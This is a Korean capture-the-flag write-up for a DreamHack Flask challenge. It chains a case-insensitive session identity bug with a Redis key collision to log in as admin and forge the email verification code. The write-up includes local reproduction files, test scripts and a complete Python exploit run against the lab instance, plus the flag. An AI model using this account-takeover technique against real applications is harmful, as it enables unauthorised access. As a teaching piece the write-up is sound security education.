[🥈 Silver 1] 대문자로 가입하면 관리자가 된다 — DreamHack WEB_2021A_Medium 풀이

2026-10-25·1분 읽기·

[🥈 Silver 1] 대문자로 가입하면 관리자가 된다 — DreamHack WEB_2021A_Medium 풀이

세션에 저장되는 userid 는 소문자로 낮춰지는데 DB 의 UNIQUE 는 대소문자를 가린다. 대문자 ADMIN 으로 가입하면 서버의 모든 조회가 진짜 admin 행을 가리키고, Redis 키 이름이 겹치는 계정 하나로 메일 인증코드까지 1 로 덮어쓴다.

문제: DreamHack — WEB_2021A_Medium 분류: web 난이도: 🥈 Silver 1 FLAG: DH{3cd6941075580d889519fcf1bd422bd1}

WEB_2021A_Medium 라이브 인스턴스 host3.dreamhack.games:10094 첫 화면. 상단에 home, FLAG, signup, signin, email_verify 등 메뉴가 있고 User Info 박스에는 비로그인이라 No Info 만 적혀 있다
WEB_2021A_Medium 라이브 인스턴스 host3.dreamhack.games:10094 첫 화면. 상단에 home, FLAG, signup, signin, email_verify 등 메뉴가 있고 User Info 박스에는 비로그인이라 No Info 만 적혀 있다

문제 설명은 한 문장이다. "ADMIN 계정으로 로그인 하고 이메일 인증을 완료하세요."

할 일이 두 개라고 친절하게 알려 주는 셈인데, 둘 다 정공법으로는 불가능하다. admin 의 비밀번호는 배포본에서 지워진 SECRET 의 MD5 고, 이메일 인증코드는 admin@ctfprob.dreamhack.io 로 날아가는 6자리 난수다. 우리에게는 그 메일함도 없고 그 비밀번호도 없다.

그런데 이 앱은 "내가 누구인가"를 두 군데에 서로 다른 모양으로 적어 둔다. 하나는 SQLite 의 user 테이블이고 다른 하나는 Flask 세션이다. 그 둘 사이에 대소문자 한 겹이 끼어 있고, 인증코드를 담는 Redis 키 이름에도 비슷한 틈이 하나 더 있다. 두 틈을 각각 비집으면 비밀번호도 메일함도 없이 관리자 자리에 앉는다.


문제 개요

항목내용
문제명WEB_2021A_Medium
난이도🥈 Silver 1
분류web
출처Dreamhack CTF Season 1 Round #4
스택Python · Flask · Flask-SQLAlchemy(SQLite) · Redis
제공 파일app.py 222줄 + utils.py(본문 삭제) + Bootstrap 템플릿 7장
핵심 취약점세션 userid 의 대소문자 붕괴 + Redis 키 이름 공간 충돌

공격 흐름은 세 번의 POST 다. auth:admin 이라는 이름으로 가입해 메일 발송을 한 번 누르고, ADMIN 이라는 이름으로 한 번 더 가입한 뒤, 인증코드 칸에 1 을 넣는다. 그게 전부다.



🔬 코드 정찰 — 222줄이 전부다

받은 zip 을 풀면 Flask 앱 한 장과 Bootstrap 정적 파일이 나온다. 핵심 로직은 app.py 222줄에 전부 들어 있고, utils.py 는 네 줄인데 그 네 줄의 알맹이가 지워져 있다.

wc -l extracted/app.py extracted/utils.py && cat extracted/utils.py && echo && ls extracted/templates
실제 zsh 터미널에서 wc 와 cat 을 돌린 결과. app.py 가 222줄, utils.py 가 4줄이고 utils.py 안의 send_mail 본문과 FLAG, SECRET 값이 모두 DELETED 로 지워져 있으며 templates 폴더에는 base.html 등 7개 파일이 있다
실제 zsh 터미널에서 wc 와 cat 을 돌린 결과. app.py 가 222줄, utils.py 가 4줄이고 utils.py 안의 send_mail 본문과 FLAG, SECRET 값이 모두 DELETED 로 지워져 있으며 templates 폴더에는 base.html 등 7개 파일이 있다

지워진 세 가지가 각각 무엇을 뜻하는지가 곧 문제의 제약이다. send_mail 이 지워졌다는 건 메일이 실제로 어디론가 날아간다는 뜻이고(우리는 그 메일함을 못 본다), FLAG 와 SECRET 이 지워졌다는 건 admin 의 비밀번호를 계산할 방법이 없다는 뜻이다. app.py 47~49행에는 admin 계정을 만들던 코드가 주석으로 남아 있는데, 거기서 비밀번호가 hashlib.md5(util.SECRET).hexdigest() 라고 알려 준다. 재료가 없으니 결과도 없다.

# usr = User(userid='admin', password=hashlib.md5(util.SECRET).hexdigest(), email=f'admin@ctfprob.dreamhack.io')
# db.session.add(usr)
# db.session.commit()

플래그를 주는 조건은 /flag 라우트 다섯 줄에 적혀 있다.

@app.route("/flag")
def flag():
    if not is_login():
        return alert("No Signin!")
    myusr = User.query.filter_by(userid=get_userid()).first()
    if myusr.userid == "admin" and myusr.auth:
        return render_template("flag.html", flag=FLAG)
    return alert("No Flag")

get_userid() 가 돌려주는 이름으로 DB 를 뒤져서, 그 행의 userid 가 admin 이고 그 행의 auth 가 참이어야 한다. 눈여겨볼 것은 조건을 세션이 아니라 DB 행에서 읽는다는 점이다. 세션은 "어느 행을 읽을지" 만 고른다.


🧩 배경 — 이 앱은 신원을 두 군데에 적는다

Flask 세션은 쿠키에 담겨 클라이언트로 내려간다. 서버가 서명하니 위조는 못 하지만, 그 안에 무엇을 넣을지는 서버 코드가 정한다. 이 앱은 가입·로그인에 성공하면 User.to_json() 의 결과를 통째로 세션에 넣는다. 그리고 그 to_json() 이 값을 손본다.

grep 한 번이면 관련 지점이 한 화면에 모인다.

grep -n "lower()\|get_userid\|filter_by(userid\|myusr.userid ==\|unique=True" extracted/app.py
zsh 에서 grep -n 으로 app.py 를 훑은 결과. 26행 userid 컬럼의 unique=True, 39에서 41행의 lower 호출, 125행과 214행의 filter_by userid 조회, 126행의 admin 문자열 비교가 한 화면에 모인다
zsh 에서 grep -n 으로 app.py 를 훑은 결과. 26행 userid 컬럼의 unique=True, 39에서 41행의 lower 호출, 125행과 214행의 filter_by userid 조회, 126행의 admin 문자열 비교가 한 화면에 모인다

같은 이름이 두 곳에서 다른 규칙으로 다뤄지고 있다.

위치저장되는 값비교 방식
SQLite user.userid (26행)입력 그대로UNIQUE — SQLite 기본 BINARY 비교라 대소문자 구분
Flask 세션 info["userid"] (39행).lower() 한 값이후 모든 조회의 입력값

여기서 틈이 생긴다. ADMIN 은 admin 과 다른 값이라 가입이 통과하는데, 세션에 적히는 순간 admin 이 되어 같은 값이 된다. 통과시킬 때는 다르다고 보고, 사용할 때는 같다고 보는 것이다.


💣 취약점 ① — 대문자로 가입하면 세션이 admin 이 된다

말로만 보면 미심쩍으니 직접 띄워서 확인했다. 배포본에는 Dockerfile 이 없어서 직접 썼다. db.create_all() 이 import 시점에 호출되는 구버전 Flask-SQLAlchemy 구조라, 패키지 버전을 그때 기준으로 못 박아야 그대로 돈다.

FROM python:3.8-slim
RUN apt-get update && apt-get install -y --no-install-recommends redis-server \
 && rm -rf /var/lib/apt/lists/*
RUN pip install --no-cache-dir flask==1.1.2 Werkzeug==1.0.1 Jinja2==2.11.3 \
    itsdangerous==1.1.0 MarkupSafe==1.1.1 flask_sqlalchemy==2.4.4 \
    SQLAlchemy==1.3.20 redis==3.5.3
WORKDIR /app
COPY app.py utils.py init_admin.py ./
COPY templates ./templates
COPY static ./static
COPY start.sh /start.sh
RUN chmod +x /start.sh
EXPOSE 5000
CMD ["/start.sh"]

지워진 utils.py 는 최소한으로 채웠다. 메일은 실제로 보낼 수 없으니 파일에 적고 참을 돌려준다.

# 배포본의 utils.py 는 본문이 **DELETED** 라 로컬 재현용으로 최소 구현만 채운다.
# send_mail 은 실제 SMTP 대신 /tmp/mail.log 에 적어 "메일이 나갔다"만 흉내낸다.
def send_mail(email, authcode):
    with open("/tmp/mail.log", "a") as f:
        f.write(f"TO={email} CODE={authcode}\n")
    return True
 
FLAG = "DH{LOCAL_FAKE_FLAG_for_repro_only}"
SECRET = b"local_secret_not_the_real_one"

admin 행은 주석으로 남아 있던 코드를 그대로 되살려 넣는다.

# app.py 47~49행에 주석으로 남아 있는 admin 계정 생성 코드를 로컬 재현용으로 되살린다.
# flask_sqlalchemy 2.x 의 'sqlite:///db.db' 는 app.root_path 기준이라 /app/db.db 다.
import hashlib, sqlite3
from utils import SECRET
 
con = sqlite3.connect("/app/db.db")
con.execute("""CREATE TABLE IF NOT EXISTS user (
    id INTEGER NOT NULL PRIMARY KEY,
    userid VARCHAR(80) UNIQUE,
    password VARCHAR(80),
    email VARCHAR(80),
    auth BOOLEAN)""")
con.execute("DELETE FROM user")
con.execute("INSERT INTO user (userid, password, email, auth) VALUES (?,?,?,0)",
            ("admin", hashlib.md5(SECRET).hexdigest(), "admin@ctfprob.dreamhack.io"))
con.commit()
print("admin row:", list(con.execute("SELECT id,userid,email,auth FROM user")))

start.sh 는 Redis 를 먼저 띄우고 위 스크립트를 돌린 뒤 앱을 실행한다.

#!/bin/sh
set -e
redis-server --daemonize yes --save '' --appendonly no
sleep 1
python3 init_admin.py
exec python3 app.py

빌드하고 띄운다.

docker build -q -t web2021a-medium local/ && docker run -d --name web2021a -p 15115:5000 web2021a-medium && sleep 5 && curl -s -o /dev/null -w "local index: %{http_code}\n" http://127.0.0.1:15115/
zsh 터미널에서 docker build 와 docker run 을 연달아 실행한 화면. 빌드가 이미지 sha256 다이제스트를 찍고 컨테이너 ID 가 출력된 뒤 마지막 줄에 local index 200 이 찍혀 로컬 인스턴스가 15115 포트에서 정상 응답함을 보여준다
zsh 터미널에서 docker build 와 docker run 을 연달아 실행한 화면. 빌드가 이미지 sha256 다이제스트를 찍고 컨테이너 ID 가 출력된 뒤 마지막 줄에 local index 200 이 찍혀 로컬 인스턴스가 15115 포트에서 정상 응답함을 보여준다

이제 대문자 ADMIN 으로 가입해서 DB 와 세션이 각각 뭐라고 적는지 나란히 본다. index.html 이 session['info'] 를 <pre> 로 그대로 찍어 주기 때문에 응답에서 그 블록만 잘라내면 된다.

#!/bin/sh
# 대문자 ADMIN 으로 가입했을 때 (1) DB 에 행이 따로 생기는지 (2) 세션엔 뭐가 들어가는지.
# index.html 이 session['info'] 를 <pre> 로 그대로 찍어 주므로 그 블록만 잘라 본다.
# Jinja 가 따옴표를 &#34; 로 이스케이프하니 읽기 좋게 되돌린다.
B=http://127.0.0.1:15115
curl -s -c jar.txt -d 'userid=ADMIN&userpw=zino1234' $B/signup
echo
curl -s -b jar.txt $B/ | sed -n '/<pre>/,/<\/pre>/p' | sed 's/&#34;/"/g'
echo '--- sqlite user 테이블 ---'
docker exec web2021a python3 -c \
  "import sqlite3
for r in sqlite3.connect('/app/db.db').execute('select id,userid,email,auth from user'): print(r)"
zsh 에서 case_collapse.sh 를 실행한 결과. 세션 JSON 의 userid 가 소문자 admin 으로 찍히고, 아래 sqlite 덤프에는 id 1 의 admin 행과 id 2 의 ADMIN 행이 서로 다른 행으로 공존한다
zsh 에서 case_collapse.sh 를 실행한 결과. 세션 JSON 의 userid 가 소문자 admin 으로 찍히고, 아래 sqlite 덤프에는 id 1 의 admin 행과 id 2 의 ADMIN 행이 서로 다른 행으로 공존한다

DB 에는 admin(id 1)과 ADMIN(id 2)이 다른 행으로 공존하는데, 세션에는 "userid": "admin" 한 줄만 적혀 있다. 이 순간부터 get_userid() 는 admin 을 돌려주고, /flag 와 /email_verify_chk 가 꺼내 오는 행은 내 행이 아니라 id 1 의 진짜 admin 행이다.

email 도 같이 소문자로 내려앉아 admin@ctfprob.dreamhack.io 가 된다. 이게 두 번째 취약점의 입구가 된다 — 인증 관련 코드는 전부 이 이메일 문자열을 열쇠로 쓰기 때문이다.

참고로 세션 JSON 의 auth 는 내 행(id 2)의 값이라 끝까지 false 로 남는다. 하지만 /flag 는 세션이 아니라 DB 행을 다시 읽으므로 상관없다. 화면에 false 가 떠 있어도 플래그는 나온다.


💣 취약점 ② — 인증코드와 발송 횟수가 같은 칸을 쓴다

남은 조건은 auth = True 다. 이건 /email_verify_chk 에서만 켜지고, 거기 들어가려면 메일로 받은 6자리 코드를 맞춰야 한다. 코드를 다루는 Auth 클래스를 통째로 본다.

sed -n "52,72p" extracted/app.py
zsh 에서 sed 로 app.py 52행부터 72행까지 출력한 화면. Auth 클래스가 코드는 auth 콜론 이메일 키에 넣으면서 발송 횟수는 이메일 문자열 자체를 키로 읽고 쓰는 코드가 보인다
zsh 에서 sed 로 app.py 52행부터 72행까지 출력한 화면. Auth 클래스가 코드는 auth 콜론 이메일 키에 넣으면서 발송 횟수는 이메일 문자열 자체를 키로 읽고 쓰는 코드가 보인다

키 이름이 세 가지다.

class Auth:
    def __init__(self, email):
        self.email = email
        self.emailauth_key = f"auth:{self.email}"        # 인증코드
        self.getcount_key = f"auth_count:{self.email}"   # 확인 시도 횟수
 
    def set(self):
        setcount = conn.get(self.email)                  # ← 발송 횟수는 이메일 '그 자체'
        if setcount:
            setcount = int(setcount) + 1
        else:
            setcount = 1
        if setcount < 5:
            self.random_key = f"{random.randint(111111, 999999):04d}"
            conn.set(self.emailauth_key, self.random_key)
            conn.set(self.getcount_key, "0")
            conn.set(self.email, setcount)               # ← 여기가 문제다
            return True
        else:
            return False

인증코드와 확인 횟수는 접두사를 붙인 키에 들어가는데, 발송 횟수만 접두사 없이 이메일 문자열 자체를 키로 쓴다. Redis 는 키 하나짜리 평평한 문자열 공간이다. 접두사를 붙이는 쪽과 안 붙이는 쪽이 섞이면, 접두사를 포함한 이름을 가진 사용자가 생기는 순간 두 공간이 겹친다.

그리고 이메일은 우리가 고를 수 있다.

def verify_uid(userid):
    for banword in ["@", " "]:
        if banword in userid:
            return False
    return True
 
# signup 안에서
email=f"{userid}@ctfprob.dreamhack.io",

이메일을 직접 입력받지 않고 userid 로 만들며, 막는 글자는 @ 와 공백 둘뿐이다. 콜론은 막지 않는다. 그래서 userid = "auth:admin" 으로 가입하면 그 계정의 이메일은 auth:admin@ctfprob.dreamhack.io 가 되고, 그 계정의 발송 횟수 키가 곧 admin 의 인증코드 키가 된다.

Auth 클래스의 Redis 키 이름을 admin 계정과 auth 콜론 admin 계정으로 나눠 비교한 다이어그램. 왼쪽 인증코드 키와 오른쪽 발송 횟수 키가 같은 문자열이라 코드가 1 로 덮인다
Auth 클래스의 Redis 키 이름을 admin 계정과 auth 콜론 admin 계정으로 나눠 비교한 다이어그램. 왼쪽 인증코드 키와 오른쪽 발송 횟수 키가 같은 문자열이라 코드가 1 로 덮인다

즉 auth:admin 계정으로 메일 발송 버튼을 한 번 누르면 서버는 이렇게 쓴다.

SET "auth:auth:admin@ctfprob.dreamhack.io"        <6자리 난수>   ← 이 계정의 인증코드
SET "auth_count:auth:admin@ctfprob.dreamhack.io"  0
SET "auth:admin@ctfprob.dreamhack.io"             1              ← 이 계정의 발송 횟수
                                                                 ← = admin 의 인증코드

마지막 줄이 핵심이다. admin 의 인증코드 칸에 1 이 들어간다. 6자리 난수를 맞출 필요가 없다 — 우리가 값을 정해서 넣은 것이다.


🐛 삽질

▶🕳️ 삽질 — 안 되는 길 다섯 가지를 전부 돌려 봤다

1. admin 으로 그냥 가입하기

제일 먼저 해 볼 만한 것. 문제 서버에 admin 행이 이미 있으니 UNIQUE 제약에 걸린다. signup 의 try/except 가 이걸 통째로 삼켜서 Already Signup 만 돌려준다.

userid=admin  -> Already Signup

2. 이메일을 내 것으로 지정하기

email 파라미터를 직접 보내면 될 것 같지만, 폼에도 코드에도 그런 파라미터가 없다. 이메일은 userid 에서만 만들어지고 verify_uid 가 @ 와 공백을 막는다. 콜론만 통과한다.

userid='victim@evil.com'    -> Check userid
userid='ad min'             -> Check userid
userid='auth:admin'         -> Signup!

3. 키 충돌 없이 바로 인증코드 제출하기

/email_verify_chk 는 /email_verify 를 거치지 않아도 들어갈 수 있다. 그래서 가입하자마자 아무 코드나 넣어 보면 될 것 같지만, 코드 칸이 비어 있으면 auth.get() 이 None 을 돌려주고 그 분기가 먼저 끊는다.

바로 email_verify_chk -> Too many Auth or No Code Generated
flag                 -> No Flag

코드 칸에 무언가 값이 들어 있어야 비교까지 간다. 그래서 취약점 ②가 필요하다.

4. 6자리 코드 무차별 대입

가장 먼저 포기하게 되는 길인데, 실제 예산이 얼마인지는 재 봐야 안다. Auth.get() 은 확인 횟수가 5 미만일 때만 코드를 돌려주고, Auth.set() 은 발송 횟수가 5 미만일 때만 새 코드를 만든다. 발송 한 번마다 확인 횟수가 0 으로 초기화되니 발송 4회 × 확인 4회 = 16회가 상한이다.

zsh 에서 deadends.py 를 budget 모드로 돌린 화면. set 1에서 4회차마다 get 이 네 번 Check Code 를 받고 다섯 번째에 끊기며, 마지막 줄에 총 추측 16회와 0.0018 퍼센트가 찍힌다
zsh 에서 deadends.py 를 budget 모드로 돌린 화면. set 1에서 4회차마다 get 이 네 번 Check Code 를 받고 다섯 번째에 끊기며, 마지막 줄에 총 추측 16회와 0.0018 퍼센트가 찍힌다

random.randint(111111, 999999) 의 경우의 수는 888,889 가지다. 16회면 0.0018% 다. 참고로 코드 생성 줄의 :04d 포맷은 아무 일도 하지 않는다 — 이미 6자리라 4칸 패딩이 걸리지 않는다. 자릿수를 줄여 주지도, 앞을 0 으로 채워 주지도 않는다.

5. ★ 순서를 뒤집기 — 이건 인스턴스를 되살릴 수 없게 만든다

이게 제일 위험한 함정이다. ADMIN 쪽에서 /email_verify 를 먼저 눌러 보고 싶어진다. 어떤 화면이 나오는지 궁금하니까. 그런데 그러면 admin 의 코드 칸에 6자리 난수가 들어가고, 그 뒤로 auth:admin 계정이 발송을 누를 때마다 Auth.set() 이 그 난수를 발송 횟수로 읽는다. int("847397") + 1 은 당연히 5 보다 크니 영원히 Too many Auth 다.

zsh 에서 deadends.py 를 order 모드로 돌린 뒤 redis_keys.sh 로 키를 덤프한 화면. 키충돌 계정이 세 번 모두 Too many Auth 로 거부당하고 코드 칸에 980477 이 그대로 남아 있다
zsh 에서 deadends.py 를 order 모드로 돌린 뒤 redis_keys.sh 로 키를 덤프한 화면. 키충돌 계정이 세 번 모두 Too many Auth 로 거부당하고 코드 칸에 980477 이 그대로 남아 있다

같은 이메일로 set() 을 할 수 있는 계정은 auth:admin 하나뿐이라 되돌릴 방법이 없다. 이 상태가 되면 그 인스턴스는 버리고 새로 받아야 한다. 키 충돌 계정의 발송이 먼저, ADMIN 의 확인이 나중이다.

위 다섯 가지를 재현한 스크립트

#!/usr/bin/env python3
"""WEB_2021A_Medium — 막다른 길 실측.
 
케이스마다 컨테이너 상태가 오염되므로 깨끗한 인스턴스에서 하나씩 돌린다.
  python3 deadends.py <base_url> <case>
      case: dup | banword | noverify | order | budget
"""
import sys, urllib.request, urllib.parse, http.cookiejar, random
 
BASE, CASE = sys.argv[1].rstrip("/"), sys.argv[2]
 
 
class Sess:
    def __init__(s):
        s.op = urllib.request.build_opener(
            urllib.request.HTTPCookieProcessor(http.cookiejar.CookieJar()))
 
    def go(s, path, data=None):
        body = urllib.parse.urlencode(data).encode() if data is not None else None
        with s.op.open(urllib.request.Request(BASE + path, data=body), timeout=15) as r:
            t = r.read().decode(errors="replace")
        return t[t.find('alert("') + 7: t.find('");')] if 'alert("' in t else t
 
 
if CASE == "dup":
    # 진짜 admin 행이 이미 있으니 같은 이름은 UNIQUE 에 걸린다.
    print("userid=admin  ->", Sess().go("/signup", {"userid": "admin", "userpw": "a"}))
 
elif CASE == "banword":
    # verify_uid 가 막는 두 글자. 이메일을 직접 고르는 길은 여기서 끊긴다.
    for uid in ["victim@evil.com", "ad min", "auth:admin"]:
        print(f"userid={uid!r:20s} ->", Sess().go("/signup", {"userid": uid, "userpw": "a"}))
 
elif CASE == "noverify":
    # 키 충돌 없이 곧장 확인 단계로 가면 코드 자리가 비어 있다.
    b = Sess(); b.go("/signup", {"userid": "ADMIN", "userpw": "a"})
    print("바로 email_verify_chk ->", b.go("/email_verify_chk", {"code": "1"}))
    print("flag                 ->", b.go("/flag"))
 
elif CASE == "order":
    # ★ 순서를 뒤집으면 복구 불가. ADMIN 이 먼저 발송하면 코드 자리에 6자리 난수가
    #   들어가고, 그 값을 카운터로 읽는 키충돌 계정은 영원히 setcount>=5 가 된다.
    b = Sess(); b.go("/signup", {"userid": "ADMIN", "userpw": "a"})
    print("ADMIN 발송            ->", b.go("/email_verify", {}))
    a = Sess(); a.go("/signup", {"userid": "auth:admin", "userpw": "a"})
    for i in range(3):
        print(f"키충돌 계정 발송 {i+1}회차 ->", a.go("/email_verify", {}))
    print("ADMIN code=1          ->", b.go("/email_verify_chk", {"code": "1"}))
 
elif CASE == "budget":
    # 무차별 대입 예산 실측: set() 1회당 get() 4회, set() 은 계정당 4회.
    b = Sess(); b.go("/signup", {"userid": "ADMIN", "userpw": "a"})
    tries = 0
    for s in range(6):
        r = b.go("/email_verify", {})
        print(f"  set #{s+1}: {r}")
        if "Too many" in r:
            break
        for g in range(6):
            r = b.go("/email_verify_chk", {"code": f"{random.randint(111111,999999)}"})
            tries += 1
            print(f"    get #{g+1}: {r}")
            if "Too many" in r:
                tries -= 1
                break
    print(f"총 추측 가능 횟수 = {tries} / 경우의 수 888889 = {tries/888889:.7%}")


🚀 Full Exploit

두 취약점을 순서대로 붙이면 끝이다. 표준 라이브러리만 쓴다.

#!/usr/bin/env python3
"""WEB_2021A_Medium (Dreamhack, Silver 1, web) — 자동 풀이.
 
    python3 solve.py http://host1.dreamhack.games:PORT/
 
취약점 두 개를 이어 붙인다.
 
  (1) 세션 신원의 대소문자 붕괴
      User.to_json() 이 userid 를 .lower() 해서 세션에 넣는다. 반면 DB 의 UNIQUE
      제약은 SQLite 기본 BINARY 비교라 'ADMIN' 과 'admin' 을 다른 값으로 본다.
      그래서 'ADMIN' 으로 가입하면 내 행은 따로 생기는데, 세션의 userid 는 'admin'
      이 되어 이후 모든 User.query.filter_by(userid=...) 가 진짜 admin 행을 가리킨다.
 
  (2) Redis 키 이름 공간의 충돌
      Auth 는 코드를 "auth:<이메일>" 에, 발송 횟수를 "<이메일>" 에 저장한다.
      이메일은 "<userid>@ctfprob.dreamhack.io" 로 userid 에서 만들어지고,
      verify_uid 는 '@' 와 공백만 막는다. userid='auth:admin' 으로 가입하면
      그 계정의 '발송 횟수' 키가 곧 admin 의 '인증코드' 키가 된다.
      발송을 한 번 누르면 그 자리에 횟수 1 이 덮여, 코드가 1 로 고정된다.
 
  ★ 순서가 중요하다. ADMIN 쪽에서 /email_verify 를 먼저 누르면 코드 자리에
    6자리 난수가 들어가고, 키충돌 계정은 그 값을 카운터로 읽어 setcount>=5 가
    되어 영구히 'Too many Auth' 가 된다. 그 인스턴스는 되살릴 수 없다.
"""
import sys, urllib.request, urllib.parse, http.cookiejar
 
BASE = (sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:15115").rstrip("/")
PW = "zino1234"
 
 
class Sess:
    """쿠키를 따로 들고 다니는 브라우저 한 개."""
 
    def __init__(self, name):
        self.name = name
        self.op = urllib.request.build_opener(
            urllib.request.HTTPCookieProcessor(http.cookiejar.CookieJar()))
 
    def enter(self, userid):
        """가입을 시도하고, 이미 있는 계정이면 로그인으로 붙는다.
 
        같은 인스턴스에 두 번째로 돌릴 때를 위한 것이다 — 계정은 남아 있는데
        세션만 없는 상태라 signup 은 'Already Signup' 으로 끝난다.
        """
        if "Already Signup" in self.go("/signup", {"userid": userid, "userpw": PW}):
            self.go("/signin", {"userid": userid, "userpw": PW})
 
    def go(self, path, form=None):
        body = urllib.parse.urlencode(form).encode() if form is not None else None
        req = urllib.request.Request(BASE + path, data=body)
        with self.op.open(req, timeout=20) as r:
            text = r.read().decode(errors="replace")
        verb = "POST" if form is not None else "GET "
        # 이 앱은 모든 결과를 alert() 한 줄로 돌려준다. 그 문구만 뽑아 찍는다.
        msg = text[text.find('alert("') + 7: text.find('");')] if 'alert("' in text else "(HTML)"
        print(f"  [{self.name}] {verb} {path:18s} -> {msg}")
        return text
 
 
print(f"[*] target {BASE}")
 
# ── 1단계: 키 충돌 계정. 이메일이 auth:admin@ctfprob.dreamhack.io 가 된다.
print("[1] Redis 키 충돌 계정 생성 + 발송 1회")
keycol = Sess("keycol")
keycol.enter("auth:admin")
#   Auth.set() 안의 conn.set(self.email, setcount) 가
#   SET "auth:admin@ctfprob.dreamhack.io" 1 을 실행한다 = admin 의 인증코드 = "1".
#   메일 발송이 실패해도 Redis 쓰기가 먼저라 결과는 같다.
keycol.go("/email_verify", {})
 
# ── 2단계: 대문자 ADMIN 가입. 세션 userid 가 소문자 admin 으로 내려앉는다.
print("[2] ADMIN(대문자) 가입 — 세션 userid 는 admin 으로 접힌다")
admin = Sess("ADMIN ")
admin.enter("ADMIN")
 
# ── 3단계: 발송을 건너뛰고 바로 확인. 코드 자리에는 1 이 들어 있다.
print("[3] 발송 없이 인증코드 제출 — 코드는 그 계정의 발송 횟수라 1~4 중 하나다")
for code in "1234":
    if "AUTH!" in admin.go("/email_verify_chk", {"code": code}):
        break
 
# ── 4단계: 플래그.
print("[4] /flag")
html = admin.go("/flag")
flag = ""
if "DH{" in html:
    seg = html[html.find("DH{"):]
    flag = seg[:seg.find("}") + 1]
print("\nFLAG:", flag if flag else "(획득 실패 — 위 응답 확인)")

3단계에서 코드를 1 하나로 못 박지 않고 1~4 를 훑는 이유가 있다. 그 칸에 들어가는 값은 auth:admin 계정의 누적 발송 횟수라, 같은 인스턴스에서 이미 한 번 돌렸다면 2 가 되고 그 다음엔 3 이 된다. 네 개만 확인하면 어떤 상태에서도 맞는다(발송 자체가 4회로 막히므로 5 이상은 나올 수 없다). 확인 예산도 4회라 딱 들어맞는다.

로컬에서 먼저 돌려 본다.

python3 solve.py http://127.0.0.1:15115
zsh 에서 solve.py 를 로컬 컨테이너로 실행한 화면. keycol 가입과 발송, ADMIN 가입, email_verify_chk 의 AUTH 를 거쳐 로컬 더미 플래그 DH LOCAL FAKE FLAG 가 출력된다
zsh 에서 solve.py 를 로컬 컨테이너로 실행한 화면. keycol 가입과 발송, ADMIN 가입, email_verify_chk 의 AUTH 를 거쳐 로컬 더미 플래그 DH LOCAL FAKE FLAG 가 출력된다

플래그가 나왔으니 Redis 안에 무엇이 남았는지도 직접 본다. 키 이름이 겹친다는 주장이 추측이 아니라는 증거다.

#!/bin/sh
# 컨테이너 안 Redis 에 실제로 어떤 키가 생겼는지 이름과 값을 같이 본다.
for k in $(docker exec web2021a redis-cli KEYS '*'); do
  printf '%-45s = %s\n' "$k" "$(docker exec web2021a redis-cli GET "$k")"
done
zsh 에서 redis_keys.sh 를 실행해 컨테이너 안 Redis 키를 전부 덤프한 화면. auth 콜론 admin 골뱅이 ctfprob 키의 값이 1 이고, auth 콜론 auth 콜론 admin 키에는 905384 라는 6자리 난수가 따로 들어 있어 두 계정의 저장 공간이 한 칸 어긋나 겹쳤음을 보여준다
zsh 에서 redis_keys.sh 를 실행해 컨테이너 안 Redis 키를 전부 덤프한 화면. auth 콜론 admin 골뱅이 ctfprob 키의 값이 1 이고, auth 콜론 auth 콜론 admin 키에는 905384 라는 6자리 난수가 따로 들어 있어 두 계정의 저장 공간이 한 칸 어긋나 겹쳤음을 보여준다

네 개의 키가 보인다. auth:auth:admin@... 에 들어 있는 905384 가 내가 만든 계정에게 실제로 발급된 6자리 코드고, auth:admin@... 에 들어 있는 1 이 admin 의 코드 자리를 덮어쓴 발송 횟수다. 하나는 난수고 하나는 우리가 정한 값이다.


🎯 라이브 인스턴스

로컬에서 확신이 섰으니 문제 서버를 켜고 같은 스크립트를 그대로 던진다.

python3 solve.py http://host3.dreamhack.games:10094/
zsh 에서 solve.py 를 라이브 서버 host3.dreamhack.games:10094 로 실행한 화면. 재실행이라 signin 으로 폴백하고 코드 2 에서 AUTH 가 떠 진짜 플래그 DH 3cd6941075580d889519fcf1bd422bd1 이 나온다
zsh 에서 solve.py 를 라이브 서버 host3.dreamhack.games:10094 로 실행한 화면. 재실행이라 signin 으로 폴백하고 코드 2 에서 AUTH 가 떠 진짜 플래그 DH 3cd6941075580d889519fcf1bd422bd1 이 나온다

이 화면은 같은 인스턴스에 두 번째로 돌린 것이라 가입이 Already Signup 으로 끊기고 로그인으로 폴백한다. 인증코드도 첫 시도 1 은 Check Code 로 튕기고 2 에서 통과하는데, 앞에서 말한 "그 칸에는 누적 발송 횟수가 들어간다"가 그대로 보이는 장면이다. 처음 한 번은 1 에서 끝난다.

브라우저로도 확인한다. ADMIN / zino1234 로 로그인한다.

라이브 인스턴스의 signin 페이지. 주소창에 host3.dreamhack.games:10094/signin 이 보이고 User ID 칸에 대문자 ADMIN, User PW 칸에 zino1234 가 입력된 채 Submit 버튼이 아래에 놓여 있다
라이브 인스턴스의 signin 페이지. 주소창에 host3.dreamhack.games:10094/signin 이 보이고 User ID 칸에 대문자 ADMIN, User PW 칸에 zino1234 가 입력된 채 Submit 버튼이 아래에 놓여 있다

로그인 직후 메인 화면의 User Info 가 세션 내용을 그대로 보여 준다.

라이브 인스턴스 메인 화면의 User Info 박스. 대문자 ADMIN 으로 로그인했는데 세션 JSON 의 userid 값은 소문자 admin 이고 email 도 admin 골뱅이 ctfprob.dreamhack.io 로 내려앉아 있으며 auth 는 내 행 값이라 false 로 남아 있다
라이브 인스턴스 메인 화면의 User Info 박스. 대문자 ADMIN 으로 로그인했는데 세션 JSON 의 userid 값은 소문자 admin 이고 email 도 admin 골뱅이 ctfprob.dreamhack.io 로 내려앉아 있으며 auth 는 내 행 값이라 false 로 남아 있다

ADMIN 으로 로그인했는데 화면에는 "userid": "admin" 이라고 적혀 있다. 이메일 인증 페이지에 들어가면 이 이메일이 그대로 따라온다.

라이브 인스턴스의 Verify Code 페이지. 주소창은 host3.dreamhack.games:10094/email_verify_chk 이고 User Email 칸에 admin 골뱅이 ctfprob.dreamhack.io 가 비활성 상태로 채워져 있으며 그 아래 Auth Code 입력칸과 Submit 버튼이 있다
라이브 인스턴스의 Verify Code 페이지. 주소창은 host3.dreamhack.games:10094/email_verify_chk 이고 User Email 칸에 admin 골뱅이 ctfprob.dreamhack.io 가 비활성 상태로 채워져 있으며 그 아래 Auth Code 입력칸과 Submit 버튼이 있다

User Email 칸이 admin@ctfprob.dreamhack.io 다. 우리는 이 메일함을 볼 수 없지만, 그 이메일 문자열로 만들어지는 Redis 키는 이미 우리가 덮어썼다. 인증을 통과한 뒤 /flag 로 간다.

